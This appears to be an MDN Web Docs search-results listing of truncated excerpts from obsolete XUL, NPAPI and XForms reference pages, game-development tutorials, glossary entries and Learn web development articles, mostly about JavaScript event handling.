...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
scrollbar - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
splitter - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
<statusbarpanel> - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
treecell - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
treecol - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
treeitem - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
wizard - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributen...
...s(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata « xul reference home advance( pageid ) return type: no return value call this method to go to the next page.
wizardpage - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited metho...
...ds addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), s...
MacFAQ - Archive of obsolete content
here's how to implement command-line trapping when the app is already running, without getting into appleevents or c++ code.
...nts[0] .queryinterface(components.interfaces.nsicommandline); for (var i = 0; i < cmdline.length; ++i) { debug(cmdline.getargument(i)) } } catch(ex) { debug(window.arguments[0]) // do something with window.arguments[0] //nspreferences.setunicharpref("myxul.cmdlinevalue", window.arguments[0]) } window.addeventlistener("load", checkotherwindows , false); } ]]></script> </window> ...
Windows and menus in XULRunner - Archive of obsolete content
the oncommand event is hooked up to javascript, just like an onclick in html.
...xul has a way to centralize commands and event handlers for menus and toolbars that do the same thing, like open and save in the above example.
nsIContentPolicy - Archive of obsolete content
if you need to do any of the things above, do them off timeout or event.
...for navigation events, this is the principal of the page that caused this load.
2006-10-06 - Archive of obsolete content
what are events?
... discussion regarding tasks and events meetings none this week.
2006-10-13 - Archive of obsolete content
lightning 0.3 - event list/search?
... discussion about the ability to list and search all the events in a calendar.
NPAPI plugin developer guide - Archive of obsolete content
lding plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing and event handling the npwindow structure drawing plug-ins printing the plug-in setting the window getting information windowed plug-ins mac os windows unix event handling for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in...
... transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status i...
NPN_ForceRedraw - Archive of obsolete content
this causes a synchronous update event or paint message for the plug-in.
...see also drawing and event handling npn_invalidaterect() npn_invalidateregion() npp_handleevent() npp ...
NPWindow - Archive of obsolete content
clipping to the cliprect prevents the plug-in from overwriting the status bar, scroll bars, and other page elements when partially scrolled off the screen.
...(the drawable is provided in a graphicsexpose event, when the paint is requested.) description the npwindow structure represents the native window or a drawable, and contains information about coordinate position, size, whether the plug-in is windowed or windowless, and some platform-specific information.
NPAPI plugin reference - Archive of obsolete content
npevent represents an event passed by npp_handleevent() to a windowless plug-in.
... npp_handleevent delivers a platform-specific window event to the instance.
Adobe Flash - Archive of obsolete content
and, of course, eventually flash support will be removed from firefox entirely.
...by clicking the html button, you trigger a javascript event that further triggers actions within the flash animation.
Introduction to Public-Key Cryptography - Archive of obsolete content
nonrepudiation prevents the sender of information from claiming at a later date that the information was never sent.
...certificates help prevent the use of fake public keys for impersonation.
Threats - Archive of obsolete content
a threat is any circumstance or event with the potential to adversely impact data or systems via unauthorized access, destruction, disclosure, or modification of information, and/or denial of service.
...a threat event is an event or situation initiated or caused by a threat source that has the potential for causing adverse impact.
Scratchpad - Archive of obsolete content
for example, if you type document.addeventlistener, then press ctrl + shift + space, you'll see a popup that shows a summary of the function's syntax and a short description: the "[docs]" link takes you to the mdn documentation for the symbol.
...it first reloads the page, then executes the code when the page's "load" event fires.
New in JavaScript 1.8.5 - Archive of obsolete content
bug 518663 object.preventextensions() prevents any extensions of an object.
...bug 492849 object.seal() prevents other code from deleting properties of an object.
Object.observe() - Archive of obsolete content
if omitted, the array ["add", "update", "delete", "reconfigure", "setprototype", "preventextensions"] will be used.
...: 2}] object.defineproperty(obj, 'foo', {writable: false}); // [{name: 'foo', object: <obj>, type: 'reconfigure'}] object.setprototypeof(obj, {}); // [{name: '__proto__', object: <obj>, type: 'setprototype', oldvalue: <prototype>}] object.seal(obj); // [ // {name: 'foo', object: <obj>, type: 'reconfigure'}, // {name: 'bar', object: <obj>, type: 'reconfigure'}, // {object: <obj>, type: 'preventextensions'} // ] data binding // a user model var user = { id: 0, name: 'brendan eich', title: 'mr.' }; // create a greeting for the user function updategreeting() { user.greeting = 'hello, ' + user.title + ' ' + user.name + '!'; } updategreeting(); object.observe(user, function(changes) { changes.foreach(function(change) { // any time name or title change, update the greeting ...
Old Proxy API - Archive of obsolete content
object.freeze(proxy) object.seal(proxy) object.preventextensions(proxy) fix: function() -> propertydescriptor map (indexed on property names) | undefined should return an object that maps property names to property descriptors.
...moreover, the respective method (freeze(), seal(), or preventextension()) is immediately called on the fixed object.
XForms Message Element - Archive of obsolete content
introduction used in combination with xml event listeners to display a message to the user when the specified event occurs (see the spec).
... example <xforms:trigger> <xforms:label>it's a button</xforms:label> <xforms:message level="modal" ev:event="domactivate">hello</xforms:message> </xforms:trigger> ...
XForms Range Element - Archive of obsolete content
node binding special incremental - supported, default value is false start - lower bound of possible values end - upper bound of possible values step - is used for incrementing/decrementing values start/end/step attributes if the value of the bound instance node is outside the range of values specified by the start and end attributes, then the range element receives a xforms-out-of-range event.
... if the bound value then becomes in range, the range element receives a xforms-in-range event.
XForms Repeat Element - Archive of obsolete content
e> </my:line> <my:line name="b"> <my:price>32.25</my:price> </my:line> </my:lines> </instance> </model> <repeat id="lineset" nodeset="/my:lines/my:line"> <input ref="my:price"> <label>line item</label> </input> <input ref="@name"> <label>name</label> </input> </repeat> <trigger> <label>insert a new item after the current one</label> <action ev:event="domactivate"> <insert nodeset="/my:lines/my:line" at="index('lineset')" position="after"/> <setvalue ref="/my:lines/my:line[index('lineset')]/@name"/> <setvalue ref="/my:lines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivate" nodeset="/my:lines/my:line" at="in...
... <head> <xbl:bindings> <xbl:binding id="grid"> <xbl:content> <xf:repeat xbl:inherits="bind, model, nodeset" anonid="anonidgridrepeat"> <xf:trigger> <xf:label>r</xf:label> <xf:delete ev:event="domactivate" at="index('anonidgridrepeat')" xbl:inherits="model, bind, nodeset"/> </xf:trigger> </xf:repeat> </xbl:content> </xbl:binding> </xbl:bindings> <style> div.grid { -moz-binding: url('#grid'); } </style> <xf:model> <xf:instance> <data xmlns=""> <repeat> <item> <input>input1<...
Mozilla XForms User Interface - Archive of obsolete content
message used in combination with event listeners to display a message to the user when the specified event occurs (see the spec).
...the toggle element is used (as an event handler) to make a case visible and thereby hiding all other case elements contained by the same switch.
Displaying a graphic with audio samples - Archive of obsolete content
canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, t = event.time, /* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] ...
... // multiply spectrum by a zoom value magnitude = signal[i] * 1000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } ctx.drawimage(document.getelementbyid('mozlogo'),0,0, canvas.width, canvas.height); } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> ...
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
scripting may change whether elements react to user events or not, and different devices and uas may have different ways of pointing to, or activating elements.
...furthermore, combining pseudo-classes prevents hover styles from being applied to non-hyperlink anchors.
Popup Window Controls - Archive of obsolete content
mozilla will attempt to suppress all calls to window.open() which occur in the following circumstances: global script which is executed as the document is loading script executed as part of a onload event handler script executed in settimeout() or setinterval() what popup windows are not suppressed?
...you can also provide a hyperlink which can be used to open a popup window even in the event that the user has suppressed unsolicited popups on your site.
RDF in Mozilla FAQ - Archive of obsolete content
(these are bizarrely arranged because the eventual intent is to introduce templates using the extended form -- which in many ways is conceptually simpler, even if more verbose -- and then treat the "simple" form as a shorthand for the extended form.) what can i build with a xul template?
... both these programs are slow to load and run (but they will run, eventually).
Index - Game development
39 tools for game development games, gecko, guide, javascript on this page you can find links to our game development tools articles, which eventually aims to cover frameworks, compilers, and debugging tools.
... 71 touch event horizon needscontent, needsexample this tutorial shows how to use touch events to create a game on a <canvas>.
Introduction to game development for the Web - Game development
as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, device sensors, webrtc, full screen api, pointer lock api language javascript (or c/c++ using emscripten to compile to javascript) networking webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, ...
... pointer lock api the pointer lock api lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise measurements of what the user is doing, and prevent the user from accidentally sending their input somewhere else, thereby missing important action.
Mouse controls - Game development
listening for mouse movement listening for mouse movement is even easier than listening for key presses: all we need is the listener for the mousemove event.
... add the following line in the same place as the other event listeners, just below the keyup event: document.addeventlistener("mousemove", mousemovehandler, false); anchoring the paddle movement to the mouse movement we can update the paddle position based on the pointer coordinates — the following handler function will do exactly that.
Buttons - Game development
.5, 'button', startgame, this, 1, 0, 2); startbutton.anchor.set(0.5); the button() method's parameters are as follows: the button's x and y coordinates the name of the graphic asset to be displayed for the button a callback function that will be executed when the button is pressed a reference to this to specify the execution context the frames that will be used for the over, out and down events.
... note: the over event is the same as hover, out is when the pointer moves out of the button and down is when the button is pressed.
Visual typescript game engine - Game development
const plarformergameinfo = { name: "crypto-runner", title: "play platformer crypto runner!", }; // symbolic for now const gameslist: any[] = [ plarformergameinfo, ]; const master = new ioc(gameslist); const appicon: appicon = new appicon(master.get.browser); master.singlton(platformer, master.get.starter); console.log("platformer: ", master.get.platformer); master.get.platformer.attachappevents(); project structure builds/ is autogenerated.
... ├── sound.ts | | | ├── system.ts | | | ├── view-port.ts | | | ├── visual-render.ts | | ├── interface/ | | | ├── drawi.ts | | | ├── global.ts | | | ├── visual-components.ts | | ├── multiplatform/ | | | ├── mobile/ | | | | ├── player-controls.ts | | | ├── global-event.ts | | ├── types/ | | | ├── global.ts | | ├── engine-config.ts | | ├── ioc.ts | | ├── starter.ts | ├── icon/ ...
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
there are many ways to prevent csrf, such as implementing restful api, adding secure tokens, etc.
... learn more general knowledge cross-site request forgery on wikipedia prevention measures ...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
they open it, read it, eventually modify it, and then repackage the letter and only then send it to whom you intended to sent the letter for.
... the original recipient would then mail you a letter back, and the mailman would again open the letter, read it, eventually modify it, repackage it, and give it to you.
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
there are specific headers in the response, like cache-control, that prevents caching.
...moreover, it invalidates cached data for request to the same uri done via head or get: put /pagex.html http/1.1 (…) 200 ok (…) a specific cache-control header in the response can prevent caching: get /pagex.html http/1.1 (…) 200 ok cache-control: no-cache (…) ...
HTML: A good basis for accessibility - Learn web development
we check what button was pressed via the event object's keycode property; if it is the keycode that matches return/enter, we run the function stored in the button's onclick handler using document.activeelement.click().
... onclick events anchor tags are often abused with the onclick event to create pseudo-buttons by setting href to "#" or "javascript:void(0)" to prevent the page from refreshing.
HTML: A good basis for accessibility - Learn web development
we check what button was pressed via the event object's keycode property; if it is the keycode that matches return/enter, we run the function stored in the button's onclick handler using document.activeelement.click().
... onclick events anchor tags are often abused with the onclick event to create pseudo-buttons by setting href to "#" or "javascript:void(0)" to prevent the page from refreshing.
Responsive design - Learn web development
user-scalable: prevents zooming if set to no.
...users should be allowed to zoom as much or as little as they need to; preventing this causes accessibility problems.
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
inline style (in html style attributes) has the highest specificity and will override any selectors, followed by id selectors, then class selectors, and eventually element selectors.
...they allow use of experimental and non-standard features in browsers without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.
Styling links - Learn web development
ode = htmlinput.value; var csscode = cssinput.value; var output = document.queryselector(".output"); var solution = document.getelementbyid("solution"); var styleelem = document.createelement('style'); var headelem = document.queryselector('head'); headelem.appendchild(styleelem); function drawoutput() { output.innerhtml = htmlinput.value; styleelem.textcontent = cssinput.value; } reset.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = csscode; drawoutput(); }); solution.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = 'p {\n font-size: 1.2rem;\n font-family: sans-serif;\n line-height: 1.4;\n}\n\na {\n outline: none;\n text-decoration: none;\n padding: 2px 1px 0;\n}\n\na:link {\n color: #265301;\n}\n\n...
...a:visited {\n color: #437a16;\n}\n\na:focus {\n border-bottom: 1px solid;\n background: #bae498;\n}\n\na:hover {\n border-bottom: 1px solid;\n background: #cdfeaa;\n}\n\na:active {\n background: #265301;\n color: #cdfeaa;\n}'; drawoutput(); }); htmlinput.addeventlistener("input", drawoutput); cssinput.addeventlistener("input", drawoutput); window.addeventlistener("load", drawoutput); including icons on links a common practice is to include icons on links to provide more of an indicator as to what kind of content the link points to.
Styling lists - Learn web development
ode = htmlinput.value; var csscode = cssinput.value; var output = document.queryselector(".output"); var solution = document.getelementbyid("solution"); var styleelem = document.createelement('style'); var headelem = document.queryselector('head'); headelem.appendchild(styleelem); function drawoutput() { output.innerhtml = htmlinput.value; styleelem.textcontent = cssinput.value; } reset.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = csscode; drawoutput(); }); solution.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = 'ul {\n list-style-type: square;\n}\n\nul li, ol li {\n line-height: 1.5;\n}\n\nol {\n list-style-type: lower-alpha\n}'; drawoutput(); }); htmlinput.addeventlistener("input", drawoutput);...
... cssinput.addeventlistener("input", drawoutput); window.addeventlistener("load", drawoutput); ...
The HTML5 input types - Learn web development
to actually display the current value, and update it as it changed, you must use javascript, but this is relatively easy to do: const price = document.queryselector('#price'); const output = document.queryselector('.price-output'); output.textcontent = price.value; price.addeventlistener('input', function() { output.textcontent = price.value; }); here we store references to the range input and the output in two variables.
...finally, an event listener is set to ensure that whenever the range slider is moved, the output's textcontent is updated to the new value.
Example 3 - Learn web development
dd('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option')...
...; optionlist.foreach(function (option) { option.addeventlistener('mouseover', function () { highlightoption(select, option); }); }); select.addeventlistener('click', function (event) { toggleoptlist(select); }, false); select.addeventlistener('focus', function (event) { activeselect(select, selectlist); }); select.addeventlistener('blur', function (event) { deactivateselect(select); }); select.addeventlistener('keyup', function (event) { if (event.keycode === 27) { deactivateselect(select); } }); }); }); result ...
UI pseudo-classes - Learn web development
now finally, we've used some javascript to toggle the disabling of the billing address fields: // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').addeventlistener('change', togglebilling); }, false); function togglebilling() { // select the billing text fields let billingitems = document.queryselectorall('#billing input[type="text"]'); // select the billing text labels let billinglabels = documen...
...xt fields and labels for (let i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; if(billinglabels[i].getattribute('class') === 'billing-label disabled-label') { billinglabels[i].setattribute('class', 'billing-label'); } else { billinglabels[i].setattribute('class', 'billing-label disabled-label'); } } } it uses the change event to let the user enable/disable the billing fields, and toggle the styling of the associated labels.
Adding vector graphics to the Web - Learn web development
width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); let code = textarea.value; let userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...e = 'show solution'; } updatecode(); }); const htmlsolution = ''; let solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; ...
Video and audio content - Learn web development
fortunately, there are things you can do to help prevent this from being a problem.
...for example, you can watch for the addtrack event being fired on the associated audiotracklist object (retrieved via htmlmediaelement.audiotracks) to be informed when audio tracks are added to the media: const mediaelem = document.queryselector("video"); mediaelem.audiotracks.onaddtrack = function(event) { audiotrackadded(event.track); } you'll find more information about this in our trackevent documentation.
General asynchronous programming concepts - Learn web development
in our simple-sync.html example (see it running live), we add a click event listener to a button so that when clicked, it runs a time-consuming operation (calculates 10 million dates then logs the final one to the console) and then adds a paragraph to the dom: const btn = document.queryselector('button'); btn.addeventlistener('click', () => { let mydate; for(let i = 0; i < 10000000; i++) { let date = new date(); mydate = date } console.log(mydate); l...
... function expensiveoperation() { for(let i = 0; i < 1000000; i++) { ctx.fillstyle = 'rgba(0,0,255, 0.2)'; ctx.beginpath(); ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degtorad(0), degtorad(360), false); ctx.fill() } } fillbtn.addeventlistener('click', expensiveoperation); alertbtn.addeventlistener('click', () => alert('you clicked me!') ); if you click the first button and then quickly click the second one, you'll see that the alert does not appear until the circles have finished being rendered.
Functions — reusable blocks of code - Learn web development
you generally use an anonymous function along with an event handler, for example the following would run the code inside the function whenever the associated button is clicked: const mybutton = document.queryselector('button'); mybutton.onclick = function() { alert('hello'); } the above example would require there to be a <button> element available on the page to select and click.
...when creating functions, it is better to just stick to this form: function mygreeting() { alert('hello'); } you will mainly use anonymous functions to just run a load of code in response to an event firing — like a button being clicked — using an event handler.
Adding features to our bouncing balls demo - Learn web development
setcontrols() this method will add an onkeydown event listener to the window object so that when certain keyboard keys are pressed, we can move the evil circle around.
... the following code block should be put inside the method definition: let _this = this; window.onkeydown = function(e) { if (e.key === 'a') { _this.x -= _this.velx; } else if (e.key === 'd') { _this.x += _this.velx; } else if (e.key === 'w') { _this.y -= _this.vely; } else if (e.key === 's') { _this.y += _this.vely; } } so when a key is pressed, the event object's keycode property is consulted to see which key is pressed.
Measuring performance - Learn web development
you can use the api for metrics related to all of the navigation events displayed in the didagram below.
... the performanceobserver api can be used to observe performance measurement events and it can notify you of new performance entries as they are recorded in the browser's performance timeline.
Perceived performance - Learn web development
prevent jumping content and other reflows images or other assets causing content to be pushed down or jump to a different location, like the loading of third party advertisements, can make the page feel like it is still loading and is bad for perceived performance.
...now that we know what we should be speeding up, let's take a look at some metrics and learn how we can measure these events.
The business case for web performance - Learn web development
performance budgets setting a web performance budget can help you make sure the team stays on track in keeping the site and help prevent regressions.
...when a business site is slow, it can prevent users from completing their intended task.
Getting started with Ember - Learn web development
previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Routing in Ember - Learn web development
previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Ember app structure and componentization - Learn web development
